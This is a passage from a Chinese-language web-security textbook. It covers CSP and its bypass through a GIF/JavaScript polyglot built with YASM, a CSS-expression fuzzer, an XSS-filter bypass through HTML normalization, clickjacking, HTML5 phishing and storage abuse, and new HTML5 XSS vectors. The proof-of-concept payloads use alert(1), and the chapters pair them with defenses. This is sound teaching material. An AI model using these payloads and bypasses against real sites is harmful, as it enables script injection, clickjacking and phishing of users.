为了规范浏览器行为，也因为expression（）函数执行起来效率低，微软从IE8开始便停止了对expression的支持，但是我们依然可以让高版本的IE运行在兼容性模式之下，强制其使用低版本内核并触发这些代码。

[image: ]
图3-15：文档模式处于“杂项”状态[image: 杂项即Quirks，相当于IE5.5的渲染模式，也支持expression表达式。]

 的IE9也弹出了对话框




3.5.3　浏览器的应对策略：CSP

浏览器只能起到缓解跨站脚本等问题，而不能杜绝它们。为了防患于未然，站长可以为自己的页面添加内容安全策略（CSP，Content Security Policy）来限制加载资源的权限。W3C定义了内容安全策略的规范。这个规范主要是用来规定一个页面可以加载哪些资源，通过限制网页权限以减少XSS的发生。该规范最初由Firefox 4所支持，后来逐渐被所有浏览器支持。

CSP支持的策略列表如下：


表3-2：CSP支持的策略及含义

[image: ]


[image: ]


每条指令均支持不同的策略值，这些值连在指令后面形成一条完整的策略，例如X-Content-Security-Policy：script-src‘self’表明加载外部脚本时，只允许加载和自己同源的脚本，来自其他地方的脚本将全部被拒绝。


表3-3：策略值的含义

[image: ]


例如，某个页面有“script-src chrome：//resources‘self’‘unsafe-eval’”的CSP限制，假设用户在某个内部页上找到了一个XSS漏洞，但是攻击者试图执行脚本时，该动作会被CSP策略阻止，从而成功保护了该页面的安全。在Chrome中的提示如图3-16所示。

[image: ]
图3-16：被CSP拒绝执行的脚本



3.5.4　“绕过”CSP：MIME Sniff

CSP不是万能的，因为CSP策略依然是对“源”的限制，所以如果攻击者能够绕过“源”的限制，则依然可以发起攻击。即使某个页面指定只允许从当前站点加载脚本，这个情况也可能绕过CSP。

一些网站允许上传头像、作品等内容。上传后，再次读取这些文件时，服务器可能没有设置合适的MIME类型，这将导致浏览器发生“MIME Sniff”（又称Media Type Sniffing）——浏览器会猜测这个页面到底是什么类型。这里的猜测通常是根据文件的内容来的。

2013年笔者在测试中曾经发现过某站有过类似的问题，通过网站上传接口上传头像时，网站只检查了后缀，而服务器返回的时候也没有设置正确的MIME。在上传一个内容为“testtest”的文件后，再在浏览器中打开，发现文件内容依然原样显示，查看浏览器的网络请求，发现浏览器将类型其猜测为“application/octet-stream”。这个MIME类型可以对应任何浏览器无法识别或不能处理的内容，也包括二进制文件（如EXE、BIN等）。这个假JPG在网页中显示效果如图3-17所示。

[image: ]
图3-17：未正确设置MIME的文件



这样，即使站点内有较为严格的CSP限制，我们也可以构造一个<script src=X>指向该文件，让浏览器猜测这个文件是一个脚本文件，从而将其加载、执行。这样便可以绕过站点的CSP限制。

而假设同样的站点，只不过这次网站检查了文件合法性，确定上传的是GIF图片之后，才将文件原样保存到服务器，这种情况我们同样可以绕过。我们可以构造一个包含攻击代码的GIF文件，一方面匹配了GIF的有效性检查，一方面又把代码巧妙地隐藏到了“图片”中。

如下是一个隐藏后的图片，GIF89a是GIF的文件头信息，之后的WORD 0x2a2f是图片的宽度，0x0064是图片的高度。0x2a2f（BYTE：0x2f，0x2a）对应字符“/*”，是JavaScript注释符号的开始。这是一个格式合法的GIF图片，因此足以通过上传时的文件校验。

当使用<IMG>加载这个文件时，浏览器会把它当作图片。而将这个GIF置于<SCRIPT>标签中时，浏览器会将其猜测为JavaScript脚本，这个文件的内容相当于：GIF89a/*xxx*/=1；alert（1）；，对JavaScript引擎来说是合法的，执行后会弹出内容为1的提示框。因此也能绕过CSP限制。

[image: ]
图3-18：GIF的文件内容



这种GIF的制作方法很简单，下载YASM，然后将下列代码保存为img.asm，运行yasm.exe img.asm-o x.gif。然后将x.gif放到服务器目录中。

WIDTH equ 10799 ; 0x2f2a，即字符





'/*'
HEIGHT equ 100
db 'GIF89a'
    dw WIDTH, HEIGHT 

db 0 ; GCT
    db -1 
    db 0 

db 02ch 
    dw 0, 0 
    dw WIDTH, HEIGHT 
    db 0    

db 2 
db 0
db 3bh 

; GIF结束







db '*/=1;'  ; 关闭注释符号






db 'alert(1);' ;你需要加入的





JavaScript脚本









让我们模拟一下，在IIS中删除.gif文件的MIME类型描述。




然后访问网页，网页代码如下：

<img src="http://127.0.0.1/x.gif"></img>
<script src="http://127.0.0.1/x.gif"></script>


可以发现Firefox、IE和Chrome浏览器均同时显示了图片和对话框。




[image: ]
图3-19：删除GIF的MIME描述



[image: ]
图3-20：GIF被同时当作了脚本和图片（图中黑色区域）



在IE、Firefox中，这个文件的MIME则被识别成了“application/octet-stream”，而在Chrome中，这个文件的类型分别识别为“octet-stream”和“script”。

[image: ]
图3-21：Chrome中识别的Type



而如果服务器正确地设置了MIME类型，浏览器则会因为MIME不符，拒绝在SCRIPT标签中加载GIF。

[image: ]
图3-22：Chrome拒绝script标签中的image/gif被当作脚本执行



3.5.5　简单的Fuzz：混淆CSS expression表达式

3.5.2我们提到了“实体编码的数字前可以有0”，让我们看看在自己的环境中（此例为IE11运行IE7兼容模式），实体编码前到底可以加入多少0吧。为了解答这个问题，让我们开始着手制作第一个Fuzzer吧。这个测试性质的Fuzzer将验证expression到底支持如何编码。在任何Fuzz开始之前，我们都应该确保自己不是在盲目地Fuzz，让我们先明确一下我们的问题是什么、打算怎么做，以及想要获得的结果。列表如下：


表3-4：Fuzz的需求
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注：①以后虽然也会称加密，但是在类似的上下文中则特指Obfuscate（混淆），即使可读的代码通过编码的处理变得难以阅读，但是不影响代码的正常功能。


为了达到Fuzz的效果，我们设计出这样的模式：通过父进程打开一个的iframe框架，并向它注入一段包含CSS expression的代码，该代码如果执行成功，会通知父页面。父页面接收到通知则认定fuzz成功并记录结果。

[image: ]
图3-23：Fuzzer的架构



我们对Fuzzer的预期是要尽快获取可行的混淆方案。因此注入的代码需要提供有限的测试值，例如要插入无关字符，可以选择ASCII 0~255的字符（你也可以根据你的需要和时间要求修改成更大的范围，此处我们就不考虑Unicode字符了）。

而在第二个问题Fuzz前置0的数量时，由于Fuzz“expression”一串字符的每一个字都是等价的，所以我们只需Fuzz第一个字符即可，“e”的ASCII码是0x65（或大写0x45），因此我们只需在数字前添加“0”即可。

Parent.html的代码如下：

<html>
<meta http-equiv="X-UA-Compatible" content="IE=IE7" />
<iframe src="frame.htm" onload="fuzz();" name="fuzzerframe"></iframe>
<textarea id="log" style="width:100%;height:60%;">usable payload:</textarea>
<script>
    var payload;
    var stage = 1;
    var charascii = 0;
    var zeroCount = 0;
    
    function log()
    {
        document.getElementById("log").innerText += "\n" + payload;
    }
    
    function getValue()
    {
        fuzzerframe.location.reload();
    }

    function fuzz()
    {
        payload = "<meta http-equiv='X-UA-Compatible' content='IE=IE7' /><sc"+"ript> a = 0;</sc"+"ript>";
        
        switch(stage)
        {
            case 1: //fuzz space chars
            {
                if(charascii <= 255)
                {
                    payload += "(Charcode is " + charascii.toString() + ")<div style='x:";
                    payload += String.fromCharCode(charascii);
                    payload += "expression(if(a == 0){a = 1; parent.log();})'>a</div>";
                    charascii++;
                }
                else
                {
                    stage++;
                }
                break ;
            }
             
            case 2:  //fuzz heading zero
            {
                var zeroString = "";
                for(var i = 0; i < zeroCount; ++i)
                {
                    zeroString += "0";
                }

                payload += "(Zeros " + zeroCount.toString() + ")<div style='x:&#x";
                payload += zeroString;
                payload += "65xpression(if(a == 0){a = 1; parent.log();})'>a</div>";
                
                if(zeroCount <= 30)
                {
                    zeroCount ++;
                }
                else
                {
                    //stage ++;
                    return ;
                }
                
            }
        }
                    
        fuzzerframe.document.write(payload.toString());
        setTimeout("getValue()", 1000);
    }
</script>
</html>


Frame.htm保持空即可。然后让我们执行Fuzzer，一段时间后我们就能看到完整的结果。在笔者的计算机环境中，0~255的ASCII中，ASCII为9~13、32、160这些字符都是可插入在expression之前的
 [image: NULLCHAR(‘\0’)在HTML加载阶段也被忽视。]

 ，&#x65代替“e”时，65前面可以插入最多4个0。


[image: ]
图3-24：Fuzzer运行结果




	
CSS表达式指IE CSS Expression表达式，支持JavaScript伪协议的地方例如锚元素的href属性、audio元素的src属性等。返回




	
少量浏览器无法直接识别尾标签——>，因此为了兼容，尾标签可能需要写作//——>。返回




	
typeof(1)返回“number”，charAt(0)为字母“n”。返回




	
CSS3计算式子的函数为calc()。返回




	
可参考《CSS hack浏览器兼容一览表》返回




	
杂项即Quirks，相当于IE5.5的渲染模式，也支持expression表达式。返回




	
NULLCHAR(‘\0’)在HTML加载阶段也被忽视。返回







3.6　攻击HTML标准化过程绕过IE/Chrome的XSS Filter

软件中任何一个步骤都可能引入新的攻击向量，HTML标准化也可能会导致意想不到的结果。笔者在2013年8月曾经向乌云网提交了一个存在于IE、Chrome中的安全问题[image: http://wooyun.org/bugs/wooyun-2010-033834]

 ，这个安全问题的根本原因就是浏览器对网页的标准化。


假设受害者有一个网页http://nul.pw/victim.html，它的网页内容是：

<html>
<body>
<script type="text/javascript">
        document.write(unescape(location.href));
</script>
</body>
</html>



由于受害者的代码中document.write写入的位置在页面结尾，假如攻击者使用如下网址访问页面：




http://nul.pw/victim.html?<img src=x onerror=alert（





1）；





//


我们传入的是一个不完整的标签，如果是基于网页内容的XSS过滤器，它的模拟执行结果应该如下。




<html>
<body>
<script type="text/javascript">
        document.write(unescape(location.href));
</script>
</body>
</html>http://vicitim/a.html?<img src=x onerror=alert(1);//



最后的IMG标签并不完整，在XSS过滤器的眼中，这个内容应当是一个不规范的文本节点，而不是标签，没有进入过滤流程。而由于标签没有关闭，因此也不符合IE的正则式过滤规则，因此也可以绕过IE的XSS过滤器。




但是在网页渲染的时候，由于XSS代码出现在页面</HTML></BODY>之后，在对页面进行标准化时，渲染引擎会扩充<BODY>、<HTML>的范围，最终的结果看起来像是：

<html>
<body>
<script type="text/javascript">
        document.write(unescape(location.href));
</script>
http://vicitim/a.html?<img src=x onerror=alert(1);//</body>
</html>


这个时候则会出现一个新情况，我们注入的半个<IMG>的左尖括号在解析器眼中是一个标签的开始，而下一个能和它匹配的右尖括号只有</BODY>后面的这个尖括号，因此，这段网页的内容实际又变为了：




<html>
<body>
<script type="text/javascript">
document.write(unescape(location.href));
</script>
http://vicitim/a.html?

<img src=x onerror=alert(1);//</  body>


















</html>


新形成的<IMG>标签经过一轮规范化之后实际上又变为了下列内容。为了方便观看，我将属性值部分标记了下画线。可以看到原先的</BODY>的左尖括号和斜线部分变成了onerror属性的一部分。这也是因为HTML标签中会自动给属性添上双引号，也是属于规范化的一种（例如<A HREF=javascript：void（0）></A>会被纠正为<A HREF=”javascript：void（0）”></A>）。




<img src="x





"onerror="
alert（1）；//</











"body=""></img>


而由于</BODY>被拆解，页面此时又会缺少一个</BODY>，因此浏览器又会加上</BODY>，最终，渲染完成的页面看起来像是：




<html>
<body>
<script type="text/javascript">
        document.write(unescape(location.href));
</script>
http://vicitim/a.html?<img src="x" onerror="alert(1);//</"  body=""></img>
</body>
</html>


可见攻击代码绕过了所有浏览器的XSS防护，最终脚本成功地在目标网站中执行了起来。这也是HTML代码规范化的负面效果之一。





	
http://wooyun.org/bugs/wooyun-2010-033834返回







3.7　本章小结

在本章中，我们介绍了浏览器的导航过程以及整个导航过程中涉及到浏览器状态更新时会产生的问题。

接下来我们介绍了文档标准化相关的内容，以及脚本攻击相关的内容，例如XSS代码的变形，以及浏览器针对XSS所做的防护——XSS Filter和XSS Auditor和它们的工作方式。

我们还介绍了CSS expression以及简单的Fuzz思想，我们提供了一套简单的Fuzz代码，可以用于浏览器脚本的Fuzz，并借助该Fuzz工具知道了expression中哪些字符是被IE忽略的。

最后，我们介绍了CSP网页策略在防护代码注入时的作用，以及针对CSP的绕过方法。浏览器的防护并不是万能的，涉及到脚本相关的安全防护，如果网站和浏览器有一方疏忽了，都可能会带来严重的问题，所以在实施代码部署时，一定要兼顾整个访问流程的安全。


4　页面显示时的安全问题

攻击者把低权限的内容，借由高权限的载体展示出来，利用一些欺骗性的内容对用户进行攻击，这称作责任混淆问题。例如，在一个超市中，顾客购买商品需要扫条形码结账。一名顾客用另一个商品的条形码覆盖掉真实的条形码，最后顺利地通过了条码扫描枪的扫描。这个例子便是利用了收银员对条形码的信任，进行了责任混淆攻击。

[image: ]
图4-1：假条形码附着在高权限载体（物品）上



在浏览器中也是如此，低权限的内容是欺骗性的文字、图片，高权限的载体便是浏览器。此类骗局通常都需要攻击者使用诱惑、恐吓性质的内容先获取用户信任，然后引导用户去做一些他们平时并不会去做的行为（例如填写密码、银行转账、安装程序等）。在本章中，让我们介绍种种针对用户的攻击方式。首先，让我们介绍一种类似“条形码覆盖”的攻击手法——点击劫持。


4.1　点击劫持

点击劫持（Clickjacking）是一种欺骗攻击手段，它通过在特制的网页中用欺骗性的内容覆盖在无害的内容之上，并诱使用户单击页面上的某个地方。当用户单击的时候，单击事件也会传给被覆盖的页面，这样可以让用户不知不觉地在被覆盖的页面上做操作。这好像是在你的键盘上覆盖一张纸，纸上写着“单击这里”，当你单击纸的同时，也会按到下面的按键。这个攻击方式最早由Jeremiah Grossman与Robert Hansen于2008年提出。
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图4-2：攻击者用构造的金额挡住了真实的金额



点击劫持可能有不同的目的，例如骗取用户的“赞”，又称作Likejacking。例如曾经有针对Facebook的攻击，攻击者用一个网页覆盖在Facebook之上，诱骗用户单击“赞”按钮所在的位置。另一种攻击则是利用Flash、HTML以及脚本的配合来劫持用户的光标，称为Cursorjacking。Jordi Chancel曾在Firefox+Mac OS X系统上演示过此问题（在Firefox30.0修复），演示中，Clickjacking最终导致了任意代码执行、获取摄像头访问权限等严重后果。

虽然现在常见的Clickjacking攻击没有利用浏览器内核代码的缺陷，但是也应当被视为安全问题。随着攻击案例越来越多，浏览器厂商也讨论出了一个方案——网站可以在HTTP头中声明自己不允许在框架中加载（我们将稍后介绍）。现在，主流的浏览器几乎都已经支持这种声明，如果网站做出了正确声明，将有效地阻止点击劫持攻击的发生。

4.1.1　点击劫持页面的构造

部分的点击劫持要归结于元素的样式特性。在层叠样式表中，名为z-index的样式指明了元素的堆叠顺序。其中一条简单的规则是：z-index越高，元素堆叠顺序越高。如果两个元素的位置有重合，那么堆叠顺序高的元素会放置在堆叠顺序低的元素前面。

因此，按照上述规则灵活调整z-index，将攻击者欺骗用户单击的内容布置在堆叠的最上层，将被攻击网站放在堆叠顺序的最下层，即可构造Clickjacking攻击页面。

让我们试验一下，为了让我们能够看清效果，我们将上下两个元素的透明值都调成50%，将下列代码保存为Clickjacking.htm：

<div style="width:100%; height:500px; text-align:center filter:alpha(opacity=50); opacity:0.5;">
    <input type="hidden" value="单击此处进入游戏





" style="margin:140px auto 0 auto; width:105px;height:27px"/>
  </div>
  <div style="position:absolute; top:20px;left:0px;">如果你需要进入游戏，你需要先单击这里才可以





=><input style="background-color:red;color:white;" value="click me"></input></div>
<iframe src="UNDER.htm" style="filter:alpha(opacity=50); opacity:0.5; position:absolute; top:0px; left:0px; width:100%; height:100%;z-index:999;">



再将下列代码保存为under.htm：




<div>
    under.htm:
    <p>
        <a href="javascript:alert('点到了





under.htm中的元素！





')">XXXXXXXXXXXXXXXXXXXXXXXXXX</a>
    </p>
</div>


然后，将上述两个文件放在同一目录下，使用浏览器访问该htm文档。我们可以发现“click me”和下方的链接重叠在了一起。当我们单击“click me”时，实际上单击到了下面under.htm的Anchor上，并访问了该Anchor的href。




[image: ]
图4-3：点击劫持攻击中，受害者单击到了下层页面上的链接



实际攻击时，攻击者肯定会设法让用户看不到被攻击的页面，因此要凭观察准确地识别一个页面是否在进行点击劫持攻击还是有些困难的。但是一些插件，例如NoScript含有点击劫持防护功能，这可以帮助我们避免受到点击劫持或者类似的劫持攻击。

在NoScript插件中开启ClearClick之后，访问可疑的页面时，该插件会弹出警告。例如单击图4-4的黑点处，NoScript插件会弹出警告，并显示单击位置下方的真实链接。NoScript插件自2.2.8 RC1版本开始也支持拦截Cursorjacking攻击。
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图4-4：ClearClick的点击劫持警告



4.1.2　X-Frame-Options

2009年IE8引入了X-Frame-Options这个字段，专门用于防御点击劫持。在IE启用之后迅速被其他浏览器包括Chrome、Firefox、Safari、Opera所接受。2013年开始，这个头被RFC接受，成为正式的HTTP头的字段，并归入规范[RFC7034]。

网站所有者通过设置这个HTTP头来告诉浏览器应当使用的框架策略。这个字段的可选值有DENY、SAMEORIGIN以及ALLOW-FROM。这三项分别代表拒绝网站在框架中加载（DENY），网站只能被同源的网站中的框架加载（SAMEORIGIN），网站可以被指定允许的网站的框架加载（ALLOW-FROM）。没有设置这个字段时，默认可被其他任意网站在框架中加载。

例如Google主站设置了X-Frame-Options：SAMEORIGIN，这代表它仅可被它同源的站点的IFRAME加载。
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图4-5：X-Frame-Options设置为了SAMEORIGIN



如果在非同源的站点中加载了Google，框架中将提示无法加载此页面。例如我们在一个非同源的文档中通过一个IFRAME加载http://www.google.com/，访问后，浏览器收到http://www.google.com响应标头，发现对方设置了X-Frame-Options：SAMEORIGIN，便会中止页面在当前框架的加载。
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图4-6：在非同源页面加载Google被拒绝显示



而Google曾经在2015年4月1日制作了一个愚人节玩笑的页面，这个页面显示了一个水平反转的Google镜像。Google的制作者通过将这个页面放入https://www.google.com/？igu=2，然后使用iframe来加载它。
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图4-7：Google愚人节玩笑页面中使用的代码



Google主站设置了允许SAMEORIGIN的页面进行框架加载，但是这个页面却意外地没有加上这个字段，导致这个页面可以在任何地方的框架中被加载。

[image: ]
图4-8：水平镜像的Google主页



攻击者可以通过点击劫持的方式让用户修改安全设置，使用户单击自身并不想要单击的链接。在安全组织Netcraft提示之后，Google修补了这个问题，现在这个页面仍然能够访问，只不过已经加上了X-Frame-Options的限制。


4.2　HTML5的安全问题

HTML5诞生于2014年10月，它是目前最新的HTML规范。HTML5诞生的目的是为了迎合新时代Web环境的需求，在将来的日子里，它也将逐步替换HTML 4.01和XHTML 1.0标准（下也简称“旧标准”）。

HTML5使用和HTML4相同的语法，不过HTML5中包含有许多为了让开发者能方便地开发Web应用的新功能。HTML5中添加了许多新标签，如<video>、<audio>和<canvas>等，还添加了许多新的功能性API、修改了旧标准中一些元素的定义。

HTML5中新增的功能列举如下：


	添加了这些元素的支持：section、video、progress、nav、meter、time、aside、canvas、command、datalist、details、embed、figcaption、figure、footer、header、hgroup、keygen、mark、output、rp、rt、ruby、source、summary、wbr；

	input中支持date、email、url等新类型，这可以让网页的文本输入框能更灵活地承载用户输入；

	为旧元素添加了一些新属性：为a、area添加了ping，为meta添加了charset，为script添加了async；

	全局属性的修改和增加，如HTML5可以为任意元素指定id，可以添加tabindex属性以指定元素响应Tab键的顺序等；

	增加了新的属性，如contenteditable、contextmenu、draggable、dropzone、hidden，spellcheck；

	删除了一些可以被其他内容替代的元素，它们是：acronym、applet、basefont、big、center、dir、font、frame、frameset、isindex、noframes、strike、tt。



HTML5中也重新定义了一些元素的规范，例如<cite>和<menu>在HTML5中赋予了标准含义。而另一个与旧标准不同的是，HTML5标准中，文件类型声明（<！DOCTYPE>）只会有<！DOCTYPE HTML>这一种类型。

然而新功能也会伴随着新威胁，让我们选出其中一些例子做介绍。

4.2.1　存储API

HTML5提供了两种在客户端存储数据的新方法，分别是localStorage与sessionStorage，这两个API分别提供没有时间限制的数据存储和针对会话的数据存储。在用户关闭浏览器窗口后，sessionStorage保存的数据会被删除。

在引入这些API之前，网站要在本地存储一些数据，都是通过Cookie完成的。但是Cookie本身的条件限制使得它并不适合存储大量数据，而且由于Cookie会附在每个请求的HTTP头中，如果存储过多内容也会对网络传输的效率带来不利的影响。

而HTML5引入的这两个API则很好地解决了这样一个问题。通过这两个API保存的数据并不会像Cookie一样每次请求都发送给服务器，本地存储的数据对网站来说就像是一个硬盘一样，只有在需要使用的时候才会去读取这些数据，非常便捷和高效。

在支持这个API的浏览器中，为localStorage对象设置属性即可使用它。例如localStorage.Something=“MyValue”，这样一句即可将MyValue保存到Something中，而且会一直存在于用户计算机上。sessionStorage的用法和localStorage类似。

localStorage存储的内容是针对源做区分的，浏览器中会限制一个网站只可以保存一定大小的数据，而且只可以访问由自己保存的内容。在各浏览器中，这个限制分别是：Google Chrome 47、Mozilla Firefox 43、Opera 34几个浏览器均限制在每个源最多存储5MB，而Internet Explorer则限制每个存储区域最多10MB，BlackBerry 10设备上则是每个源最多存储25MB。这里的源就是同源准则判断所使用的源，简单一些说就是一个子域名。浏览器的制作者应当认为一个网站下属的子域名应当是有限多个的，然而攻击者则针对这个假设提出了一种新的攻击方式，成功实施的话，可以迅速地用垃圾数据占满用户的硬盘空间。

在介绍具体内容之前，我们需要了解一下“泛解析”的概念。“泛解析”的全称是“泛域名解析”（Wildcard DNS Record），它是指利用通配符*（星号）来做次级域名，从而实现所有的次级域名均指向同一地址的独特的解析方式。泛解析可以给网站提供无数多个子域名。例如如果域名所有者设置了*.example.org都解析到8.8.8.8这个IP上，那么*匹配的地方，无论用户输入什么（例如abc.example.org），其解析结果均是8.8.8.8。

如果网站使用了泛解析，那么结合浏览器的源的特性则会带来一些灾难性的结果。由于泛解析可以提供的子域名事实上是无数多个的，而每个子域名都会被浏览器认为是一个独立的源，这使得攻击者可以在每个子域名上调用localStorage存储5MB的数据，如果调用次数足够多，攻击者可以很容易撑满用户的硬盘空间。

这个网址提供了一个在线攻击演示http://www.filldisk.com/，打开它不管，一段时间后，你的硬盘即会被它提供的垃圾数据填满。

[image: ]
图4-9：网站使用API填充了335MB硬盘空间



仔细查看便可知道这个网站正是使用了泛解析，*.filldisk.com都能访问攻击脚本，而每次访问攻击脚本，都会将一幅小猫的图片存入localStorage，这样使得硬盘占用以每几秒就多5MB的速度在增长。
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图4-10：随着泛解析域名数字的增大，垃圾数据也在增多



这个问题的症结所在便是浏览器其实并没有限制一个HOST下最多能存放多少数据，因为各个域名使用场景不同，这个数字的上限很难估计，但是浏览器不应当因为难以估计就放弃限制。文中这个例子中，如果浏览器能够限定*.filldisk.com下最多存储1GB数据，攻击者也许可以注册多个域名，但是这个成本比泛解析要多得多，浏览器的安全不仅是要解决问题，在解决不了问题的时候，提升黑客的攻击成本和攻击门槛也不失为一种好的选择。

4.2.2　跨域资源共享

同源策略（SOP）确定了浏览器的安全底线，不过一些时候SOP对一些应用来说确实是过于严格了。考虑到浏览器安全问题，HTML 5之前的标准并不允许直接跨域通信，许多程序无法通过脚本直接访问到位于另一个不同域上的资源，这限制了基于网页的应用的发展。CROS（Cross Origin Resources Sharing，跨源资源共享）则解决了这个问题。它定义了一种浏览器和服务器交互的方式。

浏览器可以通过CROS来确定是否应该允许一个脚本的跨域请求。CROS使得浏览器应用有着更大的灵活性。服务器可以在响应头中响应Access-Control-Allow-Origin来让浏览器知道该页面上的内容可以针对指定的源上的资源做跨域请求。这个响应头看起来像下面这样：

Access-Control-Allow-Origin: http://www.example.org


CORS只是通过在HTTP头中简单的置入一个字段，因此CORS不免可能会有受到攻击之虞。我们之前介绍的CRLF攻击也可以在响应中注入一个Access-Control-Allow-Origin头来让当前页面允许跨域访问某个资源。




另外，当一个网站跨域访问另一个网站的资源时，很可能会将另一个网站返回的信息经过某种处理在浏览器中显示。这个展示过程如果处理不当仍然可能会导致安全问题。

4.2.3　基于FullScreen和Notification API的新型钓鱼攻击

常规的钓鱼网站大多依靠程序或模板生成，如图4-11是一个钓鱼网站生成工具的界面。攻击者只要进行一次傻瓜式的“填写信息-单击按钮”操作即可生成钓鱼代码。然后，攻击者将文件上传到自己的服务器上，受害者访问并提交表单后，填写的数据会被记录下来。这样，就完成了钓鱼过程。
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图4-11：某自动化钓鱼网站生成程序的配置界面



要识别此类钓鱼网站十分简单，那便是仔细检查地址栏显示的网址以及页面属性中显示的地址是否正是你要访问的网站。或者，不妨在浏览器中打开钓鱼过滤，例如IE就提供了SmartScreen Filter来过滤钓鱼网站，也可以安装安全软件，凭借它们的防护功能来防御此类攻击。
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图4-12：IE SmartScreen Filter的报警



但是HTML5提供的强大功能让攻击者又有其他的选择途径，例如Feross Aboukhadijeh提出的使用FullScreen API（全屏API，通过调用requestFullScreen（）即可全屏）进行完整的界面伪装。在本地/wwwroot/hacks/fullscreen-api-attack下解压Github[image: https://github.com/feross/fullscreen-api-attack]

 上的代码后再到浏览器访问，浏览器会弹出一个全屏窗口和伪造的Chrome界面。在Chrome下，Chrome会弹出“127.0.0.1”现在正处于全屏模式，但是在早期版本的Safari中，弹出的全屏窗口完全没有提示，这将让攻击者的攻击更容易得逞。


[image: ]
图4-13：全屏显示的界面伪装攻击



[image: ]
图4-14：退出全屏后的网页状态



另外，Notification API提供的通知功能也可能会产生一些新的钓鱼方式。在网页中，使用Notification可以在右下角弹出一个带图标的通知。
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图4-15：浏览器提示当前页面想要显示通知



在本地编辑文件，输入如下代码，再访问该页面时，Chrome会提示127.0.0.1想要显示通知。如果用户单击了允许，则屏幕右下角就会弹出一个带图标的通知，而且在用户单击之后会执行指定的onclick事件。这像极了现在网页中常见的右下角浮层广告。

<script>
Notification.requestPermission( function(status) {
  var n = new Notification("中奖信息





", {
        body: "恭喜您被抽中





XX等奖，单击领取





!",
        icon: "phish.jpg",
    });
  n.onclick=function(){alert("phish!!")};
});
</script>
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图4-16：右下角弹出的假的中奖信息通知



在实际攻击中，攻击者完全可以打开一个包含诈骗或钓鱼信息的新网站，有了通知的铺垫，部分用户将更容易认为自己访问的是正常网站从而中了攻击者的圈套。

4.2.4　组合API后可能导致的安全问题

一些新API单个使用时看似危害不大，但是如果攻击者可以通过某种方式获取用户信任，并组合多个API，那么也是有一些危害的。例如，HTML5提供了音频相关的API，我们可以构造一个页面，使用计算机的麦克风录取声音。下载Github上的Recorder.js的代码[image: https://github.com/mattdiamond/Recorderjs]

 并布置到本地。访问后，我们可以发现浏览器提示该网页需要使用麦克风。如果用户单击允许，浏览器将会录下麦克风传入的声音。
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图4-17：浏览器提示、开始录音、录音停止后的三个状态



只是录音可能危害看起来并不是多大，如果攻击者取得用户声音之后，再通过WebSocket API将声音实时传给服务器，那么服务器将相当于对用户的麦克风做了实时监听。

不过不用担心，现在的浏览器对这些需要权限的内容都做了较为明显的提示。例如上图4-17中我们可以发现浏览器首先请求了用户的许可，并在录音之后在Tab上显示出了明显的红点符号，表示当前页面正在获取麦克风信息。因此，当我们日常使用的时候，对一些不熟悉的网站弹出的提示不要轻易地单击允许，而应该养成优先禁止，仅在有需求的时候授予权限的习惯。

4.2.5　引入新的XSS攻击向量

HTML5中引入的新元素和新属性还可能产生新的XSS攻击向量，或是可以将一些需要用户操作才可以触发的XSS变成自动触发的XSS。这对一些基于黑名单过滤的系统会产生新的威胁。

例如，HTML5中为input、textarea、button、select、keygen添加了一个新属性：autofocus。这可以让浏览器自动地为这些元素获得焦点，从而触发元素的onfocus事件。攻击者可以使用类似：<input autofocus onfocus=”alert（1）”>来让浏览器在页面加载时自动执行alert（1）。而在HTML4.01中，要触发alert（1），必须要让用户单击一次input才可以。

其他的部分新增的属性及新增的攻击向量列举如下，加粗的为HTML5新增内容。


	SVG



SVG是Scalable Vector Graphics的缩写，意为可缩放矢量图形。SVG是一种XML文件，所以SVG也继承了XML的特性。例如，在SVG标签中可以指定HTML实体，这可以使得攻击向量隐藏在SVG标签中。

攻击示例：<svg><script>alert&#40+1&#41</script></svg>


	formaction



formaction属性是HTML 5中的新属性，它用来覆盖form元素的action属性，该属性与type="submit"配合使用。既然formaction对应的是一个URL，那么指定一个javascript伪协议在formaction属性中，即可用它来执行脚本。

攻击示例：<form><button formaction
 ="javascript：alert（1）">click</button></form>


	VIDEO和AUDIO，以及SOURCE属性



互联网上许多视频是通过插件播放的。然而，在有些移动端系统中（例如iOS）或者部分架构的系统（例如Linux for ARM）并不支持Flash插件。这些系统中，可以依靠浏览器支持的HTML5特性，通过video元素来播放视频。另一个类似的元素则是audio，用于播放音频。

而<source>标签可以指定文件类型让浏览器选择自己可以播放的文件。

攻击示例：（或<audio>）

<video





><source





 onerror="alert(1)"></video





>
<video





 src=x onerror="alert(1)" />
<video





 onerror="alert(1)"><source





></source





></video





>


	srcdoc



srcdoc属性可以指定一段HTML脚本，把它作为iframe的内容显示在iframe中。但是这个通常作用域在about：srcdoc中，和当前页面不共享域。

攻击示例：

<iframe srcdoc





="&lt;img src&equals;x:x onerror&equals;alert&lpar;1&rpar;&gt;" />


	srcset



srcset属性可以让不同分辨率、缩放度的浏览器使用不同的图片组，例如<img src="low-res.jpg" srcset="high-res.jpg 2x">可以让浏览器选择低分辨率或高分辨率的图片适配。使用srcset也可以替代src触发onerror事件。

攻击示例：<img srcset="，x" onerror="alert（1）">


	PICTURE



PICTURE元素扩展了IMG元素的功能，可以让网站制作者提示浏览器基于当前屏幕显示设置应当使用哪个图像以做到图像适配、节省带宽等效果。

攻击示例：<picture><source srcset="x"><imgonerror=" alert（1）"></picture>

4.2.6　互联网威胁


	浮层广告



不少软件采用推广分成制度，软件厂商的出发点通常都是好的，软件厂商通常认为提供推广的人应当明确告知用户产品特色并吸引用户安装。软件的推广安装大多数是按新装机器收费的，如果推广商遵守发布商的规定正常推广，按行为收费（CPA）的广告的转化率应当是较低的。即访问网站的人中最终决定安装占比很低。

在下游接受推广服务后，有一些急于赚钱的推广者便选择了一些“恐吓”用户的途径。例如采用网站的右下角浮层广告来吓唬使用者，如图4-18所示。

[image: ]
图4-18：右下角的浮层广告



识别方式很简单，因为浮层广告的“扫描界面”只是一个图片或者一个Flash，移动一下浏览器窗口，“扫描界面”就会跟着浏览器窗口一起动，如果是真的杀毒软件的窗口，肯定不会有这么诡异的行为。在国外常见的还有一种类似形式的推广，只不过它推广是一种诈骗软件。它的推广页面类似于图4-19。

[image: ]
图4-19：Fraudware的推广页面



这些页面也会展示恐吓内容。在用户单击“下载安全软件”之后，浏览器便会定位到一个流氓杀毒软件（Rogue Antivirus）或者敲诈软件（Fraudware/Scareware/Ransomware）上。

[image: ]
图4-20：伪装成微软杀毒软件MSE的敲诈软件“MES 2013”



这类软件与病毒的不同是，它们有着逼真的界面，它们也会煞有介事地“扫描”你的计算机，但是会在扫描之后弹出一些虚假的结果，以恐吓用户支付一定金额购买“专业版杀毒软件”，专业版拥有“清理”这些病毒的能力。


